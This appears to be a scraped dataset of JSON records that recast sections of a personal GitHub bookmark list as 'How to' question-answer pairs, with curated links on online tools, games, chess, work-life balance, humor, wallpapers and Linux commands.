d’initiatives et de projets zéro déchet près de chez vous.\n* [Zakoustics](https://zakoustics.wixsite.com/website) - 🇧🇪 🇫🇷 [BE] [FR] Les Zakoustics, ce sont des concerts acoustiques pour les tout-petits (0-3 ans) et leurs parents.\n* [La Tricoterie](https://www.tricoterie.be/fr/?lang=fr) -  🇧🇪 🇫🇷 [BE] [FR] se rêve en « Fabrique de liens ». Un lieu de “rencontre” où les disciplines et les publics divers se croisent, dans un esprit d’échange et d’émulation. Leur programmation culturelle (concerts, spectacles, expos…) côtoie donc une programmation “citoyenne” (débats, conférences, repair café, ateliers intergénérationnels, café-philo…). Parallèlement, des espaces sont proposés à la location et dédiés à l’organisation d’événements.", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677762"}
{"id": "gh_cb9eda16290d", "question": "How to: Free online tools :free:", "question_body": "About SansGuidon/bookmarks", "answer": "* :fire: [**Internet Archive: Wayback Machine**](https://web.archive.org/) - The Internet archive, bringing back old/dead pages to live\n* :star: [**BuiltWith**](https://builtwith.com/) - Find out what technology a website is built with\n* [Wappalyzer](https://www.wappalyzer.com/) - Identify technology on websites. It detects content management systems, ecommerce platforms, web frameworks, server software, analytics tools and many more.\n* [Netcraft](https://sitereport.netcraft.com/) - What's that site running? Find out the infrastructure and technologies used by any site, based on results from internet data mining\n* [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/) - Analyze a website performance\n* [Socialtalents](http://loadme.socialtalents.com/Begin/New) - Loadme - cloud-based load / stress testing service for you website or API\n* [Dillinger](http://dillinger.io/) - Online Markdown Editor\n* :star: [**Air Mail**](http://en.getairmail.com/) - temporary email service\n* [nBox](https://nbox.notif.me/) - fake email service, create as many fake emails you wish for protecting your privacy\n* [Dead Link Checker](http://www.deadlinkchecker.com/website-dead-link-checker.asp) - Online Dead Link Checking Tool\n* [Broken Link Checker](http://www.brokenlinkcheck.com/broken-links.php#status) - Online Dead Link Checking Tool\n* [StackEdit](https://stackedit.io/editor) - in-browser markdown editor\n* [XKPasswd](https://xkpasswd.net/s/) - secure memorable password generator inspired by [XKCD](http://xkcd.com/936/)\n* [WhatsMyIP](http://www.whatsmyip.org/random-password-generator/) - password generator & other text related tools (hash lookup, regex tester)\n* :star: [**YouTube to MP3 converter**](https://ytmp3.cc/)\n* [Cached View](http://www.cachedview.com/) - Google + Wayback machine Cached Pages of any website\n* [ChangeDetection](https://www.changedetection.com/) - Know automatically when any web page changes\n* [WhatsMyIP](http://www.whatsmyip.org/port-scanner/) - Port scanners & other networking tools\n* [IFTTT](https://ifttt.com/) - use existing services together to automate tasks and make your life easier\n* [Jeffrey Friedl](http://exif.regex.info/exif.cgi) - Jeffrey's Image Metadata Viewer (Exif viewer)\n* [Exif Viewer](http://exif-viewer.com/) - Another image metadata viewer\n* [Whois](https://www.whois.com/whois/) - Whois to get domain name info + identity\n* [Just Delete Me](http://backgroundchecks.org/justdeleteme/) - a directory of direct links to delete your account from web services\n* [Just Delete Me](http://backgroundchecks.org/justdeleteme/fake-identity-generator/) - Fake identity generator\n* [Why No Padlock](https://www.whynopadlock.com/) - find out why your web page is treated as insecure\n* [Chandan Kumar](https://geekflare.com/ssl-certificate-tools) - 9 free useful online SSL/TLS Certificate Tools\n* [Chandan Kumar](https://geekflare.com/ssl-test-certificate/) - Verify your SSL, TLS & Ciphers implementation.\n* [Chandan Kumar](https://geekflare.com/find-sql-injection/) - Test your website for SQL injection attack\n* [Rebex](https://sshcheck.com/) - SSL Check : checks the configuration of given server accessible over internet\n* [Rex Swain](http://www.rexswain.com/httpview.html) - HTTP Viewer : See exactly what an HTTP request returns to your browser\n* [IntoDNS](https://intodns.com/) - checks the health and configuration and provides DNS report and mail servers report.\n* [Down for everyone or just me](http://downforeveryoneorjustme.com/) - Check if your website is down or up\n* [**Qualys SSL Labs**](https://www.ssllabs.com/ssltest/index.html) - SSL Server test : deep analysis of any SSL web server configuration\n* [Panopticlick](https://panopticlick.eff.org) - Test : Is your browser safe against tracking?\n* [Am I unique](https://amiunique.org/fp) - Test : are you unique ? (what your fingerprint reveals about you)\n* [Ookla](http://beta.speedtest.net/) - Speedtest : Test your internet connection speed\n* [TestMy](http://testmy.net/) - Internet speed test\n* [VirusTotal](https://www.virustotal.com/fr/) - free online scanner for virus, malware and URL, to avoid downloading crap on your machine\n* [Jotti](https://virusscan.jotti.org/) - online virus scanner\n* [Ethical Hacking Tools](https://pentest-tools.com/information-gathering/find-subdomains-of-domain) - Find subdomains / free online subdomain enumeration tool\n* [8 Subdomain Finder Tools Online](https://www.nmmapper.com/sys/tools/subdomainfinder/) - Find subdomains using sublist3r, Amass, Anubis, Lepus and more online.\n* [COMODO CA](https://crt.sh/) - Certificate search online\n* [DNSdumpster](https://dnsdumpster.com/) - tool for dns recon & research, find & lookup dns records | can discover hosts related to a domain. Finding visible hosts from the attackers perspective is an important part of the security assessment process.\n* [Ethical Hacking Tools](https://pentest-tools.com/home) - online penetration testing tools\n* [Open Port Check Tool](https://www.", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677862"}
{"id": "gh_f75b8b2b1c87", "question": "How to: Bookmarklets", "question_body": "About SansGuidon/bookmarks", "answer": "* [mourner/bullshit.js](https://github.com/mourner/bullshit.js) - A bookmarklet for translating marketing speak into human-readable text. 💩 **See also** : [Home Page](https://mourner.github.io/bullshit.js/)\n* [tota11y](https://khan.github.io/tota11y/) - an accessibility visualization toolkit testing accessibility (a11y) of your site + showing what is wrong in your document. Also available as a bookmarklet on the same page. **See also** [GitHub repository](https://github.com/Khan/tota11y)\n* [Akbar](http://howlowck.github.io/Akbar/) - A bookmarklet that simulates various types user experiences. It is an education tool that will hopefully educate people about web accessibility. **See also** [GitHub repository](https://github.com/howlowck/Akbar)\n* [Revenge.css](http://heydonworks.com/revenge_css_bookmarklet/) - is a CSS bookmarklet that reports bad html using pseudo content. If the page you use it with has malformed links, deprecated attributes,\ns inside inline elements, inaccessible buttons, badly nested sections or other errors, you'll see some ugly, pink errors written in nobody's favourite font: Comic Sans. **See also** [GitHub repository](https://github.com/Heydon/REVENGE.CSS)\n* [debugCSS](https://imbrianj.github.io/debugCSS/) - (X)HTML debugging tool built with CSS | debugCSS is meant to be loaded on an existing page to highlight potentially broken, malformed or legacy (X)HTML. Not all \"errors\" are created equally, so they are color coded to highlight severity. Green is \"probably not a big problem\", yellow is \"worth looking at\" and red is \"you really should fix this.\" **See also** [GitHub repository](https://github.com/imbrianj/debugCSS)\n* [HTML_CodeSniffer](https://squizlabs.github.io/HTML_CodeSniffer/) - Accessibility Auditor Bookmarklet | Check that your HTML code conforms to your coding standard\n* [KopywritingKourse](https://kopywritingkourse.com/event-name-generator/) - Event Name Generator\n* [follow.it](https://follow.it/surfing) - Follow websites while browsing the net!\n* [n-st/view-on-archive-org.js](https://gist.github.com/n-st/0dd03b2323e7f9acd98e) - Bookmarklet to view current page on the [Internet Archive Wayback Machine](https://archive.org/)\n* [BugMeNot Bookmarklet](https://gist.github.com/idbrii/e00b2c62120bc002ec1d) - Find shared logins\n* [Awesome Bookmarklets](https://priyank-vaghela.github.io/Awesome-Bookmarklets/) - A curated collection of awesome bookmarkslets! 🚀 **See also** : [Source code](https://github.com/Priyank-Vaghela/Awesome-Bookmarklets)\n* [MorganGeek/bookmarklet_archive.js](https://gist.github.com/MorganGeek/40cab1d3c5ddf6fe622323ddab43e067) - Is the current website archived ?\n* [MorganGeek/bookmarklet_hackernews.js](https://gist.github.com/MorganGeek/12f83ac5a02cf81d4c91b6e602a88681) - Is the current article debated on hacker news ?\n* [MorganGeek/bookmarklet_alternativeto.js](https://gist.github.com/MorganGeek/a5fec532f55792916d757acffca5ceeb) - Is there an alternative to current service (website) ?\n* [The A11Y Project](https://www.a11yproject.com/resources/#bookmarklets) - Resources : Bookmarklets\n* [Adrian Roselli](https://adrianroselli.com/2019/04/reading-order-bookmarklet.html) - (2019) Reading Order Bookmarklet | When a keyboard-only user or screen reader user comes to page that uses CSS to create a layout, there is a chance that what is on the screen does not match the flow of the page.\n* [Trello](https://trello.com/en/add-card) - Create a Trello card from any webpage\n* [Deque University](https://dequeuniversity.com/validator) - HTML Validator Bookmarklet (Full Current Page DOM HTML Validator) making use of the W3C HTML Validator service", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677879"}
{"id": "gh_973c6f1c38ac", "question": "How to: Board games :game_die:", "question_body": "About SansGuidon/bookmarks", "answer": "* [BoardGameGeek](https://boardgamegeek.com/) - most complete board game database that holds tons of reviews, images and videos\n* [Tric Trac](https://www.trictrac.net/) - :fr: [FR] le site de référence sur les jeux de société. Actualités, sorties de jeux, avis et notes, forums de discussions, évènements ludiques, etc.\n* [MathPickle](http://mathpickle.com/games/) - Board Games and Pencil & Paper Games | #1 job for parents: establish a culture of board gaming in the home. **Example paper game** : * [A little bit of Aggression](http://mathpickle.com/project/a-little-bit-of-aggression/) - one of the few essential games for the elementary school classroom.\n* [Cade Metz](https://www.wired.com/2016/03/two-moves-alphago-lee-sedol-redefined-future/) - (2016) In Two Moves, AlphaGo and Lee Sedol Redefined the Future | speaking of go board game\n* [Boardgame Recommendations](https://larrydag.shinyapps.io/boardgame_reco/) - a board game recommendation engine built by larrydag\n* [Board Game Finder](https://www.boardgamefinder.net/) - Discover your next board game in a few clicks.\n* [Board Games For Me](http://www.boardgamesfor.me/recommendations) - Find board game recommendations you'll love\n* [Board Game Recommendation Engine](https://apps.quanticfoundry.com/recommendations/tabletop/boardgame/) - Select 1 to 3 game titles you've enjoyed to get started!\n* [Damien Leloup](https://www.lemonde.fr/pixels/article/2019/02/23/le-grand-essor-des-jeux-de-societe-cooperatifs_5427325_4408996.html) - (2019) :fr: [FR] Festival international des jeux de Cannes : le grand essor des jeux de société coopératifs | Les jeux comme « The Mind » ou « Spirit Island », dans lesquels tous les participants gagnent ou perdent ensemble, se sont multipliés ces dernières années.", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677925"}
{"id": "gh_0bc2cc7b22df", "question": "How to: Chess :chess_pawn:", "question_body": "About SansGuidon/bookmarks", "answer": "* [hkirat/awesome-chess](https://github.com/hkirat/awesome-chess) - curated list of assets availible on the Internet related to chess\n* [Next Chess Move](https://nextchessmove.com) - Calculate the best next Chess move\n* [Viking Board Game](https://www.homespunweb.co.uk/vikings/) - Play Hnefatafl in your browser. Hnefatafl is a Viking game of strategy for two players. Each player has an army of warriors and tries to out-think his or her opponent.\n* [Andy Trattner](https://andytrattner.com/img/pdf/enjoy-chess.pdf) - [PDF] (2021) How To Enjoy Chess for Adult Beginners | Chess Minigames for Enjoyable Learning. **See also** [Coach Andy’s Chess Corner](https://andytrattner.com/chess/)\n* [365Chess.com](https://www.365chess.com) - Chess Games Database Online\n* [Wikipedia](https://en.wikipedia.org/wiki/List_of_chess_variants) - List of chess variants\n* [Wikipedia](https://en.wikipedia.org/wiki/Timeline_of_chess) - Timeline of chess\n* [Wikipedia](https://en.wikipedia.org/wiki/Joke_chess_problem) - Joke chess problem\n* [Wikipedia](https://en.wikipedia.org/wiki/History_of_chess) - History of chess. **Note for self: ** check at the bottom\n* [Wikipedia](https://en.wikipedia.org/wiki/Category:Works_about_chess) - Works about chess\n* [Wikipedia](https://en.wikipedia.org/wiki/Category:Films_about_chess) - Films about chess\n* [Wikipedia](https://en.wikipedia.org/wiki/Cheating_in_chess) - Cheating in chess\n* [Belgian Chess History](http://www.belgianchesshistory.be) - Results and games from tournaments and matches from Belgian chess history\n* [Bibliothèque nationale de France](http://classes.bnf.fr/echecs/histoire/ind_hist.htm) - :fr: [FR] Histoire du jeu d'échecs en Occident\n* [Wikipedia](https://fr.wikipedia.org/wiki/Histoire_du_jeu_d%27%C3%A9checs) - :fr: [FR] Histoire du jeu d'échecs\n* [Wikipedia](https://fr.wikipedia.org/wiki/Portail:%C3%89checs) - :fr: [FR] Portail des échecs\n* [usefulchess](http://www.usefulchess.com/store/chess_books.html) - (2005) Chess books", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677935"}
{"id": "gh_372feea7c860", "question": "How to: Role-playing :dragon:", "question_body": "About SansGuidon/bookmarks", "answer": "* [GoToQuiz](http://www.gotoquiz.com/classical_alignment_test_2) - Classical Alignment Test\n* [Tabletop Audio](https://tabletopaudio.com/) - Original, ambiances and music for your role playing games and stories\n* [NESblog / Speed Game](https://www.youtube.com/watch?v=VKvcQNLk9yA) - [FR] :fr: [Video] Le Jeu de Rôle Papier, analyse des spécificités de cette famille de jeu\n* [D&D Beyond](https://www.dndbeyond.com/characters/builder#/) - Character Builder for Dungeons & Dragons (D&D) Fifth Edition (5e)\n* [Dungeons & Dragons Dice Roller](https://www.wizards.com/dnd/dice/dice.htm) - Online dice roller for D&D\n* [Dungeons & Dragons](https://media.wizards.com/2018/dnd/downloads/DnD_BasicRules_2018.pdf) - [PDF] (2018) D&D Basic Rules, Version 1.0\n* [7DRL Challenge 2019](https://itch.io/jam/7drl-challenge-2019) - In 2005, the roguelike community established a yearly event, the 7DRL Challenge, in which developers are challenged to create a roguelike in seven days. This allows one to have the shared misery of knowing you are not the only one tracking down a bad pointer at the 167th hour.  The annual event occurs during a week in early March.\n* [Azgaar's Fantasy Map Generator](https://azgaar.github.io/Fantasy-Map-Generator/) - Web application generating interactive and customizable maps", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677942"}
{"id": "gh_29a10d9f96c9", "question": "How to: Health and Work-Life Balance", "question_body": "About SansGuidon/bookmarks", "answer": "> News\n* [Itamar Turner-Trauring](https://codewithoutrules.com/career/) - Get a better job ; articles about health & work life balance, programmer productivity, problem solving, etc.\n* [Simple Programmer](https://simpleprogrammer.com/) - Robert Whitcomb's Blog about soft skills + health & work-life balance for programmers\n* [The Knowledge Project](https://www.fs.blog/the-knowledge-project/) - [Podcast] Podcast by Shane Parrish to uncover frameworks YOU can use to learn more in less time, make better decisions, and live a happier and more meaningful life.\n\n> Learn\n* [Matt Might](http://matt.might.net/articles/work-life-balance/) - (2013) Tips for work-life balance\n* [Robert Whitcomb](https://simpleprogrammer.com/2016/01/06/stop-improving-yourself/) - (2016) Stop Improving Yourself\n* [Adam Smiley Poswolsky](https://www.linkedin.com/pulse/10-truths-finding-meaningful-work-adam-smiley-poswolsky) - The 10 truths about finding meaningful work\n* [Tom Goodwin](https://www.linkedin.com/pulse/we-dont-need-teach-our-kids-code-them-how-dream-tom-goodwin) - We don’t need to teach our kids to code, we need to teach them how to dream\n* [alphagov/govdesign](https://github.com/alphagov/govdesign/blob/master/Poster_its-ok-to.pdf) - [PDF] It's ok to ... (poster)\n* [Kristin Wong](http://lifehacker.com/the-biggest-wastes-of-time-we-regret-when-we-get-older-1755526646) - The Biggest Wastes of Time We Regret When We Get Older\n* [Dr. Travis Bradberry](https://www.linkedin.com/pulse/why-you-should-spend-your-money-experiences-things-bradberry) - Why You Should Spend Your Money on Experiences, Not Things\n* [Bob Sutton](https://www.linkedin.com/pulse/why-your-job-becoming-impossible-do-tragedy-overload-bob-sutton) - Why Your Job is Becoming Impossible to Do: The Tragedy of Well-Intentioned Organizational Overload\n* [Jen Horton](https://www.linkedin.com/pulse/inevitable-link-between-positivity-perspective-jen-horton) - The Inevitable Link between Positivity and Perspective\n* [Mike Bushong](https://dzone.com/articles/dont-ask-you-take-vacation) - Don't Ask Before You Take Vacation\n* [Karen Wickre](https://backchannel.com/working-from-home-is-usually-a-disaster-unless-you-try-this-30f1cce6f5a6) - Working From Home Is Usually a Disaster — Unless You Try This\n* :star: [**Gregg Caines**](http://caines.ca/blog/2014/01/11/in-defence-of-the-office/) - (2014) In Defence of the Office\n* [Jason Fried](https://m.signalvnoise.com/being-tired-isn-t-a-badge-of-honor-fa6d4c8cff4e) - Being tired isn’t a badge of honor\n* [David Mytton](https://blog.serverdensity.com/humanops-server-density/) - How we do HumanOps at Server Density\n* [Andrew Wulf](http://thecodist.com/article/why_i_don_39_t_do_unpaid_overtime_and_neither_should_you) - Why I Don't Do Unpaid Overtime and Neither Should You\n* [/r/lostgeneration](https://www.reddit.com/r/lostgeneration/) - Lost generation : discussions & posts about what this generation is supposed to do\n* [/r/BasicIncome](https://www.reddit.com/r/BasicIncome/) - community space for discussion and advocacy of Basic Income schemes\n* [/r/antiwork](https://www.reddit.com/r/antiwork/) - discussion and advocacy of a world without work\n* [PartTimer](https://parttimer.io/) - a job board for skilled work under 40 HRS/week\n* :star: [**Glassdoor**](https://www.glassdoor.com/Reviews/index.htm) - A site that lets employees post anonymous salaries and reviews of their company.\n* [BetaList Jobs](https://betalist.com/jobs) - shape the future by joining one of the fastest growing technology startups\n* [WorkWithUs](https://workwithus.io/) - hand-curated selection of best jobs\n* [Who is Hiring?](https://whoishiring.io/) - jobs search engine per location and some other criteria\n* [Gabriel Lewis](https://www.producthunt.com/@gabriel__lewis/collections/hack-your-job-search) - List of tools to hack your job search\n* [College Match Up](https://www.collegematchup.net/features/best-jobs-for-your-personality-type/) - Best Jobs for Your Personality Type\n* [Daniel Miessler](https://danielmiessler.com/blog/thoughts-minimum-wage/) - My Thoughts on the Minimum Wage\n* [Daniel Miessler](https://danielmiessler.com/study/hiring/) - A Hiring Primer\n* [Daniel Miessler](https://danielmiessler.com/blog/the-tiger-hiring-algorithm/) - The Tiger Hiring Algorithm\n* [Daniel Miessler](https://danielmiessler.com/projects/gt-rating-system/) - The GT Rating System\n* [Daniel Miessler](https://web.archive.org/web/20150910021545/https://danielmiessler.com/blog/the-peter-principle/) - The Peter Principle / Anything that works will be used in progressively more challenging applications until it fails.\n* [Daniel Miessler](https://danielmiessler.com/blog/measuring-quality-culture/) - Measuring the Quality of a Culture\n* [Mubashar Iqbal](https://willrobotstakemyjob.com/) - Will robots take my job ? Make the test ;-)\n* [Sanna](https://twitter.com/Nikkitita69/status/407949378251280384/photo/1) - [IMG] What if physical illness was treated the same way mental illness is...?\n* [Gil](h", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.678065"}
{"id": "gh_fe0efda47745", "question": "How to: Humor :trollface:", "question_body": "About SansGuidon/bookmarks", "answer": "* [There, I Fixed It](https://failblog.cheezburger.com/thereifixedit) - white trash repairs. Aka how not to repair things\n* [/r/DiWHY](https://www.reddit.com/r/DiWHY/) - when DIY goes wrong\n* [/r/redneckengineering](https://www.reddit.com/r/redneckengineering/) - white trash repairs, and other workarounds that make you laugh\n* [/r/techsupportmacgyver](https://www.reddit.com/r/techsupportmacgyver/) - Macgyvered solutions to problems\n* [/r/totallynotrobots](https://www.reddit.com/r/totallynotrobots/) - a place where ~~robots~~ humans share their thoughts\n* [/r/funnycharts](https://www.reddit.com/r/funnycharts/) - funny charts\n* [Cyanide & Happiness](http://explosm.net/comics/archive) - controversial, dark humorous & sometimes surrealistic comic strips\n* [Joan Cornellà](http://joyreactor.com/tag/Joan+Cornella) - unsettling, surreal humor and black humorous comic strips\n* [David Firth](https://www.youtube.com/watch?v=wpVTORX_ifk) - [Youtube] Salad Fingers is a psychological horror, dark humorous animation movie ranked among the top 10 culture phenomenon for 2005\n* [Le Gorafi](http://www.legorafi.fr/) - [FR] :fr: news satire\n* [Encyclopedia Dramatica](https://encyclopediadramatica.rs) - a satirical wiki, parodying encyclopedia topics and current events, especially those related or relevant to contemporary Internet culture\n* [/r/WhereIsMyFlyingCar](https://www.reddit.com/r/WhereIsMyFlyingCar/) - a lot of predictions made about the future that have or have not come to pass.\n* [Kimmo Lemetti](http://www.blastwave-comic.com/) - Gone with the blastwave is a post apocalyptic black humorous web comic\n* [Honest Trailers](https://www.youtube.com/playlist?list=PL86F4D497FD3CACCE) - [Video] funny trailers of popular movies\n* [The Useless Web](http://www.theuselessweb.com) - Take you to another random useless website\n* [@Malaise TV](https://twitter.com/malaisetele) - [FR] :fr: Twitter account showing awkwardness in TV shows\n* [Mattia Quarta](https://twitter.com/squartadoc/status/380805479414239232/photo/1) - How to read a scientific paper.... brilliant\n* [Philippe Shiu](https://twitter.com/PhilipsShiu/statuses/448760592405241856) - [IMG] math students tip\n* [Topissimo](http://www.topissimo.fr/lol/40-verites-du-quotidien-illustrees-humour.html) - [FR] :fr: TOP 40 des vérités du quotidien illustrées avec humour !\n* [Mashable](http://mashable.com/2014/08/10/maria-scrivan-kickstarter) - (2014) [IMG] Young entrepreneurs these days\n* [Saturday Morning Breakfast Cereal](http://www.smbc-comics.com/?id=1883) - (2010) [IMG] Why are there so few women in engineering / science ?\n* [Capitalism & Competitiveness](https://twitter.com/Nniina_/status/523173787077214208/photo/1) (2014) [IMG] [FR] :fr:\n* [LastWeekTonight](https://www.youtube.com/watch?v=T8y5EXFMD4s) - (2014) [Video] Stephen Hawking Interview about artificial intelligence, with John Oliver (HBO)\n* [Cyprien](https://www.youtube.com/watch?v=wNRUzu4fTgw) - [FR] :fr: [Video] Technophobe / what if you could not use technology anymore\n* [Message à caractère informatif](https://www.youtube.com/watch?v=8N_gatQ5G1U&list=PL3794CF56F0377496) - [FR] :fr: [Videos] funny surreal dubbing of old corporate short movies **Bonus** : [Top 12 best episodes](https://www.youtube.com/watch?v=ozJmcB-mVgw)\n* [Koreus](https://www.koreus.com/videos/nouveau/) - [FR] :fr: [Videos] best funny videos from internet\n* [The Onion](https://www.theonion.com/) - America's Finest News Source | A farcical newspaper featuring world, national and community news.\n* [The Daily Mash](http://www.thedailymash.co.uk/) British satire site offering funny stories on news, politics and sport, an agony aunt column and polls.\n* [what if?](https://what-if.xkcd.com/) - Serious scientific answers to absurd hypothetical questions\n* [The Best Page in the Universe](http://maddox.xmission.com/) - personal satirical humor website created by George Ouzounian, better known as Maddox\n* [webcomic name](http://webcomicname.com/) - kind of absurd repetitive web comic strip, among my favorites | \"oh no\"\n* [Regular Ordinary Swedish Meal Time (ROSMT)](https://www.youtube.com/playlist?list=PL4B2CBC4A35E0E224) - [Videos] YouTube Series of WTF cooking how-to's/tutorials. it's good for you | Swedish men cooking regular food with extreme Swedish violence like vikings.\n* [The Cooper Review](https://thecooperreview.com/tag/corporate-humor/) - Funny corporate humor and satire\n* [Sarah Cooper](https://thecooperreview.com/boomers-vs-millenials-work/) - Boomers vs. Millennials @ Work\n* [Sarah Cooper](https://thecooperreview.com/why-they-call-it-middle-management/) - Why They Call it Middle Management\n* [Sarah Cooper](https://thecooperreview.com/9-tricks-to-appear-smart-in-brainstorming-meetings/) - 9 Tricks to Appear Smart in Brainstorming Meetings\n* [Sarah Cooper](https://thecooperreview.com/how-to-say-no-without-saying-no/) - How to Say No Without Ever Saying No\n* [Sarah Cooper](https://thecooperreview.com/here-are-the-10-most-deeply-meaningful-team-build", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.678138"}
{"id": "gh_e9fbe6f79961", "question": "How to: Images / Wallpapers", "question_body": "About SansGuidon/bookmarks", "answer": "* [NASA](https://apod.nasa.gov/apod/archivepix.html) - Astronomy Picture of the Day Archive\n* [InterfaceLIFT](https://interfacelift.com/wallpaper/downloads/date/any/) - High resolution photography wallpapers for every screen size\n* [Jeffrey Friedl](http://exif.regex.info/exif.cgi) - Jeffrey's Image Metadata Viewer (Exif viewer)\n* [Exif Viewer](http://exif-viewer.com/) - Another image metadata viewer\n* [François Dourlen](https://www.francoisdourlen.com/photos) - 'feel good' mash-up pictures, combining pop-culture characters and actual locations\n* [WLPPR](http://wlppr.co/) - vibrant wallpapers from places of our planet\n* [Psiu Puxa](http://psiupuxa.com/) - wallpapers from all over the universe\n* [Free Online Picture Resizer](http://www.picresize.com/batch.php) - Easily crop, resize and edit your images online for free\n* [Dale Myers](https://myers.io/2014/07/30/everything-you-ever-wanted-to-know-about-png/) - (2014) Everything You Ever Wanted to Know About PNGs\n* [Moviemania](https://www.moviemania.io/desktop) - super big textless high-resolution movie wallpapers database\n* [SpaceX](https://www.flickr.com/photos/spacex) - Official SpaceX Photos on Flickr\n* [Will Gallego](https://codeascraft.com/2017/05/30/reducing-image-file-size-at-etsy/) - (2017) Reducing Image File Size at Etsy\n* [DeepAI](https://deepai.org/machine-learning-model/colorizer) - Image Colorization API", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.678146"}
{"id": "gh_041f70c88dbf", "question": "How to: Linux / Unix :penguin:", "question_body": "About SansGuidon/bookmarks", "answer": "> News\n* [/r/linux](https://www.reddit.com/r/linux/) - discussions & news about linux on reddit\n* :star: [**nixCraft**](https://www.cyberciti.biz/) - linux tips, hacks, tutorials and ideas\n* [Red Hat Enterprise Linux Blog](http://rhelblog.redhat.com/) - latest information on Red Hat's IT infrastructure products, offerings, and solutions\n* [Opensource.com](https://opensource.com/) - stories about creating, adopting, and sharing open source solutions\n* [The Linux Foundation](https://www.youtube.com/channel/UCfX55Sx5hEFjoC3cNs6mCUQ) - The Linux Foundation Youtube Channel\n* [Senthil Kumar aka SK](https://www.ostechnix.com/securely-permanently-delete-data-linux/) - (2017) How To Securely And Permanently Delete Your Data In Linux\n* [Alltop](https://linux.alltop.com/) - Top Linux News aggregated\n* [Tux Machines](http://www.tuxmachines.org/) - a community-driven public service/news site which has been around for over a decade and primarily focuses on GNU/Linux\n\n> Learn\n* [kahun/awesome-sysadmin](https://github.com/kahun/awesome-sysadmin) - A curated list of amazingly awesome open source sysadmin resources\n* :star: [**n1trux/awesome-sysadmin**](https://github.com/n1trux/awesome-sysadmin) - (fork of [kahun/awesome-sysadmin](https://github.com/kahun/awesome-sysadmin))\n* [Binh Nguyen](http://www.tldp.org/LDP/Linux-Dictionary/html/index.html) - (2004) Linux Dictionary\n* [Gareth Anderson](http://www.tldp.org/LDP/GNU-Linux-Tools-Summary/html/index.html) - (2006) GNU/Linux Command-Line Tools Summary\n* [Sandra Henry-Stocker](http://www.computerworld.com/article/2696541/operating-systems/unix--knowing-your-memory-commands.html) - Unix: Knowing your memory commands\n* [Sandra Henry-Stocker](http://www.computerworld.com/article/3184929/linux/lesser-known-but-still-handy-linux-commands.html) - Lesser known but still handy Linux commands\n* [Sandra Henry-Stocker](http://www.computerworld.com/article/3152772/linux/17-unix-tricks-for-a-happy-2017.html) - 17 Unix tricks for a happy 2017\n* [Sandra Henry-Stocker](http://www.computerworld.com/article/3154741/linux/profiling-your-users.html) - Using Unix commands to profile your users\n* [Sandra Henry-Stocker](http://www.computerworld.com/article/3066941/linux/administering-unix-systems-like-your-mom-taught-you.html) - Administering Unix systems like your mom taught you\n* [Sandra Henry-Stocker](http://www.computerworld.com/article/3069981/linux/the-linux-command-that-you-should-never-say-out-loud.html) - thefuck : The Linux command that you should never say out loud\n* [Scott Rippee](http://www.hypexr.org/linux_scp_help.php) - Example syntax for Secure Copy (scp)\n* [Sandra Henry-Stocker](http://www.computerworld.com/article/2974753/linux/doing-math-with-awk.html) - Doing math with awk\n* [Vivek Gite](https://www.cyberciti.biz/networking/nmap-command-examples-tutorials/) - (2018) Top 32 Nmap Command Examples For Sys/Network Admins\n* [Lakshmanan Ganapathy](https://www.thegeekstuff.com/2012/08/lsof-command-examples) - (2012) 15 Linux lsof Command Examples (Identify Open Files)\n* [The Geek Stuff](https://www.thegeekstuff.com/2010/11/50-linux-commands/) - (2010) 50 Most Frequently Used UNIX / Linux Commands (With Examples)\n* :star: [**Command line fu**](http://www.commandlinefu.com/commands/browse) - a place to find those command-line gems that you return to again and again.\n* [Ramesh Natarajan](https://www.thegeekstuff.com/2011/06/iptables-rules-examples/) - (2011) 25 Most Frequently Used Linux IPTables Rules Examples. **Bonus** : [Gist on GitHub](https://gist.github.com/virtualstaticvoid/1024546)\n* [Nick Congleton](https://www.maketecheasier.com/secure-linux-desktop-with-iptables/) - How to Secure Your Linux Desktop with Iptables\n* [The Geek Stuff](https://www.thegeekstuff.com/2010/09/linux-one-liners/) - (2010) 6 Useful Linux One Liners\n* [Maxim Chernyak](http://hakunin.com/permissions) - Linux permissions cheatsheet\n* [CHMOD command calculator](https://chmodcommand.com/)\n* [Corinna Baldauf](http://wall-skills.com/2015/the-find-command-in-examples/) - (2015) The find command in examples\n* [Dan Tehranian](https://dantehranian.wordpress.com/2015/08/10/automating-linux-security-best-practices-with-ansible/) - (2015) Automating Linux Security Best Practices with Ansible\n* 